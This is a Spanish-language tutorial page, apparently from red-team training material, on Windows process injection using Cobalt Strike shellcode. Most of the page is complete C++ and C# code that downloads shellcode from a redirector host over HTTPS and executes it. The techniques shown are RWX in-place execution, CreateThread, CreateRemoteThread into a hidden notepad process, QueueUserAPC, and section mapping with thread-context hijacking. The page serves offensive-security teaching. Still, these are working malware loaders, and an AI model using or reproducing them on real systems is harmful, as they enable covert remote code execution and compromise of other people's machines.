Saltar a contenido

Process Injection

Process Injection

Ahora que tenemos una comprensión de cómo llamar a Windows APIs, vamos a escribir algunos process injectors usando Cobalt Strike shellcode. Puedes generar shellcode a través de Payloads > Windows Stageless Payload y configurar la salida en raw.

Esta ventana también nos permite seleccionar el tipo de exit function que queremos: ExitProcess o ExitThread.

Si utilizas Payloads > Windows Stageless Generate All Payloads, entonces se producirán ambas variantes con los nombres xprocess y xthread.

Aloja el shellcode xprocess en el CS team server a través de Site Management > Host File.

Asegúrate de que existan reglas htaccess apropiadas para permitir que el shellcode se descargue a través del redirector.


Downloading Files in C++

WinHTTP es una biblioteca de Windows que proporciona acceso de alto nivel al protocolo HTTP. En la mayoría de los casos, no querrás incrustar tu shellcode directamente en tu injector. Es bastante inflexible si deseas intercambiar tu shellcode y aumentará la superficie de detección del binario compilado. Descargar el shellcode en tiempo de ejecución es una forma de evitar esos dos problemas en particular.

Crea una nueva C++ console app y agrega lo siguiente en la parte superior del archivo fuente principal.

La línea pragma le indica al linker que busque la biblioteca especificada durante la compilación. También declaramos una función “download” que tomará una URL y un filename, y devolverá un vector de tipo BYTE.

El primer paso dentro de la implementación de esa función es crear una nueva sesión HTTP usando WinHttpOpen.

WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY permite que la sesión detecte automáticamente cualquier configuración de proxy web que la máquina esté configurada para usar, y WINHTTP_FLAG_SECURE_DEFAULTS requiere el uso de TLS 1.2 o superior.

Luego, se utiliza WinHttpConnect para crear una sesión para el destino específico proporcionando la dirección base del servidor de destino. En nuestro caso, proporcionaremos la URL a nuestro redirector, www.infinity-bank.com y el puerto 443.

Info

No agregues http:// ni https:// a la URL, ya que se infiere automáticamente en función de la configuración que pasemos a las APIs.

A continuación, WinHTTPOpenRequest se utiliza para crear una nueva solicitud HTTP.

En este escenario será una solicitud GET y filename será la ruta en la que alojamos nuestro shellcode, por ejemplo, /shellcode.bin. Luego usamos WinHttpSendRequest para enviar la solicitud HTTP y WinHttpReceiveResponse para recibir la respuesta.

Para leer los datos reales del shellcode de la respuesta, usamos WinHttpReadData.

No sabemos cuántos datos tenemos que leer, así que lo hacemos en un bucle. Cada llamada a WinHttpReadData devuelve la cantidad de bytes leídos (hasta un máximo del tamaño de nuestro buffer temporal, 4096). Si la cantidad de bytes leídos es mayor que 0, los datos se agregan al final del vector y volvemos a llamar a WinHttpReadData para leer más. Una vez que no queda más por leer, el bucle se rompe.

El paso final es cerrar los handles de las distintas sesiones HTTP y devolver los datos.

Luego se puede llamar a la función de la siguiente manera.

Código completo:

#include <Windows.h>
#include <winhttp.h>
#include <iostream>
#include <vector>

#pragma comment(lib, "winhttp.lib")

std::vector<BYTE> Download(LPCWSTR baseAddress, LPCWSTR filename);

int main()
{
    std::vector<BYTE> shellcode = Download(L"www.infinity-bank.com\0", L"/shellcode.bin\0");
}

std::vector<BYTE> Download(LPCWSTR baseAddress, LPCWSTR filename) {

    // initialise session
    HINTERNET hSession = WinHttpOpen(
        NULL,
        WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY,    // proxy aware
        WINHTTP_NO_PROXY_NAME,
        WINHTTP_NO_PROXY_BYPASS,
        WINHTTP_FLAG_SECURE_DEFAULTS);          // enable ssl

    // create session for target
    HINTERNET hConnect = WinHttpConnect(
        hSession,
        baseAddress,
        INTERNET_DEFAULT_HTTPS_PORT,            // port 443
        0);

    // create request handle
    HINTERNET hRequest = WinHttpOpenRequest(
        hConnect,
        L"GET",
        filename,
        NULL,
        WINHTTP_NO_REFERER,
        WINHTTP_DEFAULT_ACCEPT_TYPES,
        WINHTTP_FLAG_SECURE);                   // ssl

    // send the request
    WinHttpSendRequest(
        hRequest,
        WINHTTP_NO_ADDITIONAL_HEADERS,
        0,
        WINHTTP_NO_REQUEST_DATA,
        0,
        0,
        0);

    // receive response
    WinHttpReceiveResponse(
        hRequest,
        NULL);

    // read the data
    std::vector<BYTE> buffer;
    DWORD bytesRead = 0;

    do {

        BYTE temp[4096]{};
        WinHttpReadData(hRequest, temp, sizeof(temp), &bytesRead);

        if (bytesRead > 0) {
            buffer.insert(buffer.end(), temp, temp + bytesRead);
        }

    } while (bytesRead > 0);

    // close all the handles
    WinHttpCloseHandle(hRequest);
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);

    return buffer;
}


Downloading Files in CSharp

Debido a que C# es un lenguaje de alto nivel, tiene muchas abstracciones que hacen que tareas como ésta sean muy sencillas. HttpClient (parte del espacio de nombres System.Net.Http) se puede usar para descargar un archivo a memoria en solo unas pocas líneas.

public static async Task Main(string[] args)
{
    byte[] shellcode;

    using (var client = new HttpClient())
    {
        client.BaseAddress = new Uri("https://www.infinity-bank.com");
        shellcode = await client.GetByteArrayAsync("/shellcode.bin");
    }
}

La palabra clave using garantiza que todos los recursos asociados con el client se liberen después de su uso.


Function Delegate C++

Ahora que tenemos el shellcode en un buffer local, queremos ejecutarlo dentro del proceso actual. Las asignaciones de memoria dinámicas, como los vectors, se almacenan en memoria de tipo heap. Podríamos asignar una nueva región de memoria y copiar el shellcode ahí, pero también podemos dejarlo y ejecutarlo directamente desde el heap.

La memoria del heap es RW (read, write) por defecto. No tiene el bit X (execute). Podemos hacer que una pequeña región de memoria del heap sea RWX usando la API VirtualProtect. Primero, obtenemos un puntero sin procesar al shellcode.

Luego simplemente se lo pasamos a VirtualProtect, especificando un tamaño (la longitud del shellcode) y la nueva protección de memoria.

El shellcode puede entonces ejecutarse usando esta notación un tanto peculiar.

Esto se ejecutará en el main thread del programa, por lo que parecerá bloquearse/congelarse. Pero debería aparecer un beacon.

Código completo:

int main()
{
    std::vector<BYTE> shellcode = Download(L"www.infinity-bank.com\0", L"/shellcode.bin\0");

    // get pointer to buffer
    LPVOID ptr = &shellcode[0];

    // set memory to RWX
    DWORD oldProtect;
    VirtualProtect(
        ptr,
        shellcode.size(),
        PAGE_EXECUTE_READWRITE,
        &oldProtect);

    // execute
    (*(void(*)()) ptr)();
}

Function Delegate CSharp

Al igual que con el programa en C++, el shellcode puede ejecutarse in-situ una vez que esté en un buffer local. Antes de continuar, modifica la configuración del proyecto para preferir 64-bit y permitir unsafe code.

C# es un lenguaje administrado donde el código que escribes es “verificablemente seguro”. Esto generalmente significa que tu código no accede directamente a la memoria a través de punteros, ya que normalmente es manejado por el CLR y el garbage collector. La palabra clave unsafe es necesaria para denotar un contexto no seguro donde puedas escribir código no verificable. Aquí puedes usar punteros de memoria sin procesar, asignar y liberar memoria fuera de la influencia del CLR. El unsafe code en C# no es más peligroso que la administración manual de memoria habitual de C++.

La palabra clave fixed se usa para acceder a un puntero a la memoria de una variable subyacente y evitar que el garbage collector la mueva o reasigne.

Los métodos también pueden marcarse como unsafe, como esta definición de VirtualProtect.

Esto nos permite marcar la memoria del heap como RWX dentro del bloque de código unsafe.

Para ejecutar el shellcode, necesitamos “convertir” el puntero en un function delegate. Primero definimos el delegate. Es muy simple, ya que no esperamos que el shellcode devuelva nada ni reciba parámetros.

Luego llamamos a GetDelegateForFunctionPointer, que devolverá el delegate como variable local. Esa variable puede luego ejecutarse como un método.

Código completo:

using System;
using System.Net.Http;
using System.Runtime.InteropServices;
using System.Threading.Tasks;

namespace LocalInjector
{
    internal class Program
    {
        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        delegate void Beacon();

        [DllImport("kernel32.dll")]
        static extern unsafe bool VirtualProtect(
            byte* lpAddress,
            uint dwSize,
            MEMORY_PROTECTION flNewProtect,
            out MEMORY_PROTECTION lpflOldProtect);

        enum MEMORY_PROTECTION : uint
        {
            PAGE_EXECUTE_READ = 0x20,
            PAGE_EXECUTE_READWRITE = 0x40,
            PAGE_READWRITE = 0x04
        }

        static async Task Main(string[] args)
        {
            byte[] shellcode;
            using (var client = new HttpClient())
            {
                client.BaseAddress = new Uri("https://www.infinity-bank.com");
                shellcode = await client.GetByteArrayAsync("/shellcode.bin");
            }

            unsafe
            {
                fixed (byte* ptr = shellcode)
                {
                    VirtualProtect(
                        ptr,
                        (uint)shellcode.Length,
                        MEMORY_PROTECTION.PAGE_EXECUTE_READWRITE,
                        out _);

                    var beacon = Marshal.GetDelegateForFunctionPointer<Beacon>((IntPtr)ptr);
                    beacon();
                }
            }
        }
    }
}

CreateThread C++

Ejecutar shellcode en el proceso local como function delegate lo hace en el main thread de la aplicación. Esto está bien si tu injector no necesita realizar otras tareas, pero puede que quieras liberar el flujo de ejecución y ejecutar el shellcode en segundo plano.

Esto se puede lograr ejecutando el shellcode en un thread separado. C++ puede usar la API CreateThread: solo requiere pasar el puntero al shellcode convertido a LPTHREAD_START_ROUTINE.

Dado que esto se ejecutará en segundo plano, el flujo de ejecución continuará y el programa terminará (al llegar al final de main). Si el programa se cierra, también lo hacen todos los threads en segundo plano, incluido el shellcode. Para fines de este ejemplo, necesitamos evitar que eso suceda.

Código:

std::vector<BYTE> shellcode = Download(L"www.infinity-bank.com\0", L"/shellcode.bin\0");

// get pointer to buffer
LPVOID ptr = &shellcode[0];

// set memory to RWX
DWORD oldProtect = 0;
VirtualProtect(
    ptr,
    shellcode.size(),
    PAGE_EXECUTE_READWRITE,
    &oldProtect);

// execute
DWORD threadId = 0;
HANDLE hThread = CreateThread(
    NULL,
    0,
    (LPTHREAD_START_ROUTINE)ptr,
    NULL,
    0,
    &threadId);

// close handle
CloseHandle(hThread);

// stop the program from closing
std::cout << "Shellcode is running, press key to exit" << std::endl;
_getch();

CreateThread CSharp

C# tiene una abstracción administrada sobre los threads que permite crear nuevos threads usando new Thread(). Para darle trabajo al thread, pasa un ThreadStart o ParameterizedThreadStart delegate en su constructor. Un ThreadStart delegate es uno que devuelve void y no recibe parámetros, es decir, delegate void ThreadStart(), que coincide perfectamente con nuestro Beacon delegate.


CreateRemoteThread

La API CreateRemoteThread se comporta de forma muy similar a CreateThread, pero te permite iniciar un thread en un proceso distinto al tuyo. Esto se puede usar para inyectar shellcode en otro proceso y requiere el uso de más Windows APIs. En lugar de inyectar en procesos existentes, reutilizaremos nuestro CreateProcessW code para generar el nuestro.

Este código es idéntico a ejemplos anteriores, excepto por la inclusión de dwFlags en la estructura STARTUPINFO y la flag CREATE_NO_WINDOW en CreateProcess. Esto permite que el proceso se inicie sin una ventana visible, para que no veas ventanas apareciendo en el escritorio.

Asigna una región de memoria dentro del proceso objetivo usando VirtualAllocEx, lo suficientemente grande para almacenar el shellcode. Esto devuelve la dirección base de la memoria asignada.

Haz una referencia cruzada de la dirección en Process Hacker y verás una región RWX vacía.

Escribe el shellcode en la región de memoria con WriteProcessMemory.

Refresca la vista de memoria en Process Hacker y verás el shellcode.

Finalmente, llama a CreateRemoteThread para ejecutar el shellcode y cierra todos los handles.

Beacon ahora se estará ejecutando dentro del proceso de Notepad.

Una desventaja de esta API es que crea un thread cuya start address no está respaldada por un módulo en disco.

Código:

// create startup info struct
LPSTARTUPINFOW startup_info = new STARTUPINFOW();
startup_info->cb = sizeof(STARTUPINFOW);
startup_info->dwFlags = STARTF_USESHOWWINDOW;

// create process info struct
PPROCESS_INFORMATION process_info = new PROCESS_INFORMATION();

// null terminated command line
wchar_t cmd[] = L"notepad.exe\0";

// create process
CreateProcess(
    NULL,
    cmd,
    NULL,
    NULL,
    FALSE,
    CREATE_NO_WINDOW,
    NULL,
    NULL,
    startup_info,
    process_info);

// download shellcode
std::vector<BYTE> shellcode = Download(L"www.infinity-bank.com\0", L"/shellcode.bin\0");

// allocate memory
LPVOID ptr = VirtualAllocEx(
    process_info->hProcess,
    NULL,
    shellcode.size(),
    MEM_COMMIT,
    PAGE_EXECUTE_READWRITE);

// copy shellcode
SIZE_T bytesWritten = 0;
WriteProcessMemory(
    process_info->hProcess,
    ptr,
    &shellcode[0],
    shellcode.size(),
    &bytesWritten);

// create remote thread
DWORD threadId = 0;
HANDLE hThread = CreateRemoteThread(
    process_info->hProcess,
    NULL,
    0,
    (LPTHREAD_START_ROUTINE)ptr,
    NULL,
    0,
    &threadId);

// close handles
CloseHandle(hThread);
CloseHandle(process_info->hThread);
CloseHandle(process_info->hProcess);

QueueUserAPC

La API QueueUserAPC proporciona un medio conveniente de ejecutar shellcode en el main thread de un proceso que se genera. En esta ocasión, generaremos notepad.exe en estado suspendido, inyectaremos el shellcode y luego asignaremos una llamada al shellcode en su thread primario.

El proceso de descargar el shellcode y escribirlo en el proceso objetivo puede ser exactamente el mismo. En lugar de CreateRemoteThread, llama a QueueUserAPC y luego reanuda el proceso.

El Beacon se ejecutará ahora en el main thread de notepad.exe.

// create startup info struct
LPSTARTUPINFOW startup_info = new STARTUPINFOW();
startup_info->cb = sizeof(STARTUPINFOW);
startup_info->dwFlags = STARTF_USESHOWWINDOW;

// create process info struct
PPROCESS_INFORMATION process_info = new PROCESS_INFORMATION();

// null terminated command line
wchar_t cmd[] = L"notepad.exe\0";

// create process
CreateProcess(
    NULL,
    cmd,
    NULL,
    NULL,
    FALSE,
    CREATE_NO_WINDOW | CREATE_SUSPENDED,
    NULL,
    NULL,
    startup_info,
    process_info);

// download shellcode
std::vector<BYTE> shellcode = Download(L"www.infinity-bank.com\0", L"/shellcode.bin\0");

// allocate memory
LPVOID ptr = VirtualAllocEx(
    process_info->hProcess,
    NULL,
    shellcode.size(),
    MEM_COMMIT,
    PAGE_EXECUTE_READWRITE);

// copy shellcode
SIZE_T bytesWritten = 0;
WriteProcessMemory(
    process_info->hProcess,
    ptr,
    &shellcode[0],
    shellcode.size(),
    &bytesWritten);

// queue apc
QueueUserAPC(
    (PAPCFUNC)ptr,
    process_info->hThread,
    0);

// resumme process
ResumeThread(process_info->hThread);

// close handles
CloseHandle(process_info->hThread);
CloseHandle(process_info->hProcess);

NtMapViewOfSection

Las APIs Nt “section” son sinónimas con la técnica de process hollowing. Esto funciona iniciando un proceso en estado suspendido, desmontando el contenido PE de la memoria y luego mapeando un nuevo PE en su lugar. Lo que consideraría process hollowing “adecuado” implica mapear cada sección de datos, la import table y las relocations adecuadamente. Lo veremos cuando abordemos el reflective loader de Cobalt Strike; por ahora, te mostraré cómo NtCreateSection y NtMapViewOfSection se pueden usar como alternativas a VirtualAllocEx y WriteProcessMemory, sobre todo para familiarizarnos con llamar a Nt APIs en C++.

Solo un número limitado de Nt APIs están oficialmente expuestas y la mayoría a través de archivos de cabecera para drivers de Windows. Además, las Nt APIs están en gran parte sin documentar, lo que las hace más difíciles de usar. Para usarlas en una aplicación de usuario, necesitamos definirlas en nuestro propio archivo de cabecera. Se ha invertido mucho esfuerzo en revertir y documentar estas APIs y estructuras; algunos de los mejores recursos incluyen ntinternals.click, geoffchappell.com y phnt.

Crea un nuevo archivo de cabecera en tu proyecto (lo llamé Native.h) y agrega lo siguiente:

#pragma once

using NtCreateSection = NTSTATUS(NTAPI*)(
    OUT PHANDLE SectionHandle,
    IN ULONG DesiredAccess,
    IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes,
    IN OPTIONAL PLARGE_INTEGER MaximumSize,
    IN ULONG PageAttributess,
    IN ULONG SectionAttributes,
    IN OPTIONAL HANDLE FileHandle);

using NtMapViewOfSection = NTSTATUS(NTAPI*)(
    IN HANDLE SectionHandle,
    IN HANDLE ProcessHandle,
    IN OUT PVOID* BaseAddress,
    IN ULONG_PTR ZeroBits,
    IN SIZE_T CommitSize,
    IN OUT OPTIONAL PLARGE_INTEGER SectionOffset,
    IN OUT PSIZE_T ViewSize,
    IN DWORD InheritDisposition,
    IN ULONG AllocationType,
    IN ULONG Win32Protect);

using NtUnmapViewOfSection = NTSTATUS(NTAPI*)(
    IN HANDLE ProcessHandle,
    IN PVOID BaseAddress OPTIONAL);

typedef enum _SECTION_INHERIT : DWORD {
    ViewShare = 1,
    ViewUnmap = 2
} SECTION_INHERIT, *PSECTION_INHERIT;

Luego, de vuelta en el archivo .cpp principal, agrega #include "Native.h".

Antes de poder usar estas APIs, necesitamos obtener la dirección de las funciones exportadas en ntdll.dll. Obtenemos un handle a ntdll.dll con GetModuleHandle y luego la dirección de NtCreateSection con GetProcAddress.

Luego podemos convertirlo a la definición NtCreateSection: la variable resultante se puede llamar como si fuera un método. También puedes encontrar más conveniente hacer el cast directo de GetProcAddress.

Haz lo mismo para NtMapViewOfSection y NtUnmapViewOfSection.

A continuación, llama a NtCreateSection para crear una nueva sección en el proceso actual. Un section object es una región de memoria que se puede compartir con otros procesos. La sección debe ser lo suficientemente grande para contener el shellcode.

Los códigos de error NTSTATUS se pueden encontrar aquí. Cualquier resultado distinto de cero es efectivamente un fallo. La macro NT_SUCCESS se puede utilizar como una forma fácil de capturar errores e imprimir el estado.

Después de esta llamada, un nuevo section handle será visible en Process Hacker.

Para escribir datos en él, primero se debe compartir (o “mapear”) esta sección con nuestro propio proceso usando NtMapViewOfSection. Toma el handle de la sección, el handle del proceso y nos proporcionará un puntero a la memoria asignada.

Copia el shellcode en esa región.

Luego mapea la sección en el proceso objetivo. Esto propagará automáticamente el shellcode desde el proceso local.

Dado que el proceso se generó en estado suspendido, el shellcode podría ejecutarse usando QueueUserAPC. Este método también sería posible con un proceso que ya estuviera en ejecución, o uno que no se haya iniciado en estado suspendido — en cuyo caso podríamos usar algo como CreateRemoteThread. Para mostrar otro método, usaremos GetThreadContext y SetThreadContext para secuestrar el thread primario del proceso y apuntar su ejecución a otro lugar.

El primer paso es obtener el contexto actual del thread inicializando una nueva estructura CONTEXT y llamando a GetThreadContext.

La propiedad ContextFlags debe establecerse primero, lo que indica qué información de contexto quieres recuperar. No está particularmente bien documentado, pero hay algunos comentarios en el archivo de encabezado winnt. Vamos a actualizar el registro RCX, por lo que podemos usar CONTEXT_INTEGER. También podrías usar CONTEXT_ALL en un caso extremo.

Establece el registro RCX con la ubicación de memoria del shellcode, llama a SetThreadContext y luego reanuda el thread.

Dado que la región de memoria mapeada en nuestro proceso local ya no se necesita, se puede liberar con NtUnmapViewOfSection.

Código:

#include <Windows.h>
#include <winternl.h>
#include <winhttp.h>
#include <iostream>
#include <vector>
#include "Native.h"

#pragma comment(lib, "winhttp.lib")

int main()
{
    // create startup info struct
    LPSTARTUPINFOW startup_info = new STARTUPINFOW();
    startup_info->cb = sizeof(STARTUPINFOW);
    startup_info->dwFlags = STARTF_USESHOWWINDOW;

    // create process info struct
    PPROCESS_INFORMATION process_info = new PROCESS_INFORMATION();

    // null terminated command line
    wchar_t cmd[] = L"notepad.exe\0";

    // create process
    BOOL success = CreateProcess(
        NULL,
        cmd,
        NULL,
        NULL,
        FALSE,
        CREATE_NO_WINDOW | CREATE_SUSPENDED,
        NULL,
        NULL,
        startup_info,
        process_info);

    // download shellcode
    std::vector<BYTE> shellcode = Download(L"www.infinity-bank.com\0", L"/shellcode.bin\0");

    // find Nt APIs
    HMODULE hNtdll = GetModuleHandle(L"ntdll.dll");
    NtCreateSection ntCreateSection = (NtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
    NtMapViewOfSection ntMapViewOfSection = (NtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection");
    NtUnmapViewOfSection ntUnmapViewOfSection = (NtUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection");

    // create section in local process
    HANDLE hSection;
    LARGE_INTEGER szSection = { shellcode.size() };

    NTSTATUS status = ntCreateSection(
        &hSection,
        SECTION_ALL_ACCESS,
        NULL,
        &szSection,
        PAGE_EXECUTE_READWRITE,
        SEC_COMMIT,
        NULL);

    // map section into memory of local process
    PVOID hLocalAddress = NULL;
    SIZE_T viewSize = 0;

    status = ntMapViewOfSection(
        hSection,
        GetCurrentProcess(),
        &hLocalAddress,
        NULL,
        NULL,
        NULL,
        &viewSize,
        ViewShare,
        NULL,
        PAGE_EXECUTE_READWRITE);

    // copy shellcode into local memory
    RtlCopyMemory(hLocalAddress, &shellcode[0], shellcode.size());

    // map section into memory of remote process
    PVOID hRemoteAddress = NULL;

    status = ntMapViewOfSection(
        hSection,
        process_info->hProcess,
        &hRemoteAddress,
        NULL,
        NULL,
        NULL,
        &viewSize,
        ViewShare,
        NULL,
        PAGE_EXECUTE_READWRITE);

    // get context of main thread
    LPCONTEXT pContext = new CONTEXT();
    pContext->ContextFlags = CONTEXT_INTEGER;
    GetThreadContext(process_info->hThread, pContext);

    // update rcx context
    pContext->Rcx = (DWORD64)hRemoteAddress;
    SetThreadContext(process_info->hThread, pContext);

    // resume thread
    ResumeThread(process_info->hThread);

    // unmap memory from local process
    status = ntUnmapViewOfSection(
        GetCurrentProcess(),
        hLocalAddress);
}